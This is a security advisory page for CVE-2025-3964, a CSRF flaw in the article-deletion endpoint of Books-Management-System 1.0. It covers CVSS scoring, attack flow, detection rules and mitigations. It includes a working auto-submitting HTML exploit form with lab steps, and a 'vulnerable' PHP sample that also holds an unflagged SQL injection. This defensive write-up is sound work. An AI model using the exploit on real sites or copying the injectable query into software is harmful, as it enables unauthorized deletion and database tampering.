CVE-2025-3964
Executive Summary
CVE-2025-3964 is a Cross-Site Request Forgery (CSRF) vulnerability in the withstars Books-Management-System version 1.0. The flaw exists in the /api/article/del endpoint of the Article Handler component, allowing an attacker to force authenticated users to perform unintended actions (e.g., deleting articles) without their consent. The product is end-of-life and no longer supported by the maintainer, meaning no official patch will be released. The exploit has been publicly disclosed, increasing the risk of active exploitation. The CVSS score is 0.0 due to incomplete NVD data, but based on the vector, the severity is low (3.1).
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This is a custom PHP/JavaScript application, not an NPM, PyPI, Go, or Ruby package. No supply chain implications are present.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
- Base Score: 3.1 (Low)
- Attack Vector: Network (AV:N) – The attack can be launched remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – Attacker does not need authentication.
- User Interaction: Required (UI:R) – Victim must click a malicious link or visit a crafted page.
- Scope: Unchanged (S:U) – The vulnerable component and the attacker’s scope are the same.
- Confidentiality Impact: None (C:N) – No data exposure.
- Integrity Impact: Low (I:L) – Unauthorized deletion of articles.
- Availability Impact: None (A:N) – No denial of service.
Threat Level: Low. The attack requires user interaction and only allows deletion of articles, not data theft or privilege escalation. However, the lack of a patch and public exploit disclosure increases the risk for unsupported deployments.
Deep Dive & Mechanics
The vulnerability is a classic CSRF flaw in the /api/article/del endpoint. The application does not implement anti-CSRF tokens (e.g., nonces, SameSite cookies, or custom headers). An attacker can craft a malicious HTML page that, when visited by an authenticated admin, sends a forged POST request to delete an article.
Attack Flow:
- Attacker identifies a target using Books-Management-System 1.0.
- Attacker crafts a malicious page (e.g.,
exploit.html) containing a form or JavaScript that submits a request tohttp://target/api/article/delwith parameters likeid=1. - Attacker lures an authenticated admin to visit the malicious page (e.g., via phishing email or social media).
- The admin’s browser automatically sends the forged request, including any session cookies (if the application relies on cookie-based authentication).
- The server processes the request, deleting the article.
Root Cause: Lack of CSRF protection on state-changing API endpoints.
Vulnerable vs. Patched Code
Since the product is end-of-life and no patch exists, the vulnerable code is the entire /api/article/del handler. A patched version would include CSRF token validation.
Vulnerable Code (PHP example):
// /api/article/del
$id = $_POST['id'];
$db->query("DELETE FROM articles WHERE id = $id");
echo "Article deleted.";
Patched Code (Conceptual):
// /api/article/del
session_start();
if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
die("CSRF validation failed.");
}
$id = intval($_POST['id']);
$db->query("DELETE FROM articles WHERE id = $id");
echo "Article deleted.";
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- Target running Books-Management-System 1.0.
- An authenticated admin session (cookie-based).
- Ability to host a malicious HTML page.
Exploit Code (HTML):
<!DOCTYPE html>
<html>
<body>
<h1>Click me for a surprise!</h1>
<form action="http://target/api/article/del" method="POST" id="csrf-form">
<input type="hidden" name="id" value="1">
</form>
<script>
document.getElementById('csrf-form').submit();
</script>
</body>
</html>
Lab Setup:
- Install Books-Management-System 1.0 on a local server (e.g., XAMPP).
- Log in as admin.
- Host the exploit HTML on a separate domain (e.g., using Python:
python3 -m http.server 8080). - As the admin, visit
http://attacker-ip:8080/exploit.html. - Observe that article ID 1 is deleted.
Blue Team (Defender)
Detection:
- Monitor for unusual POST requests to
/api/article/delfrom unexpected referrers. - Check for missing
OriginorRefererheaders in API requests. - Use web application firewalls (WAF) to block requests without CSRF tokens.
Mitigation:
- Since no patch exists, isolate or decommission the application.
- Implement a reverse proxy with CSRF protection (e.g., ModSecurity).
- Enforce SameSite cookies (e.g.,
SameSite=StrictorLax). - Add custom headers (e.g.,
X-Requested-With: XMLHttpRequest) and validate server-side.
Indicators of Compromise (IOCs)
- Network:
- POST requests to
/api/article/delwithRefererheader not matching the application domain. - Repeated requests to
/api/article/delwith varyingidparameters.
- POST requests to
- Host:
- Unexpected deletion of articles in the database.
- Log entries showing
DELETE FROM articlesqueries without prior CSRF token validation.
- File:
- Presence of suspicious HTML files on admin workstations (e.g.,
exploit.html).
- Presence of suspicious HTML files on admin workstations (e.g.,
Detection Engineering
YARA Rule
rule CVE_2025_3964_CSRF_Exploit {
meta:
description = "Detects CSRF exploit HTML targeting Books-Management-System /api/article/del"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-3964"
strings:
$form = "action=\"http://" ascii nocase
$endpoint = "/api/article/del" ascii nocase
$method = "method=\"POST\"" ascii nocase
$input = "name=\"id\"" ascii nocase
condition:
all of ($form, $endpoint, $method, $input)
}
Sigma Rule
title: CVE-2025-3964 CSRF Attempt Against Books-Management-System
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects POST requests to /api/article/del with suspicious referrers
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: POST
cs-uri-stem: /api/article/del
filter:
cs-referer: "http://target/*"
condition: selection and not filter
falsepositives:
- Legitimate admin actions from the same domain
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-3964 CSRF Attempt - Books-Management-System"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"/api/article/del"; http.referer; content!:"http://target"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Decommission the application if no longer needed.
- Isolate the server from the internet (firewall rules).
- Implement a WAF rule to block POST requests to
/api/article/delwithout a valid CSRF token.
Long-Term Fixes:
- Since the product is end-of-life, migrate to a supported alternative.
- If migration is not possible, manually patch the code:
- Add CSRF token generation and validation.
- Use
SameSite=Strictcookies. - Validate
OriginandRefererheaders.
Workarounds:
- Disable the
/api/article/delendpoint via.htaccessor Nginx config. - Require re-authentication for sensitive actions.
Valters IT
Securing Digital Frontiers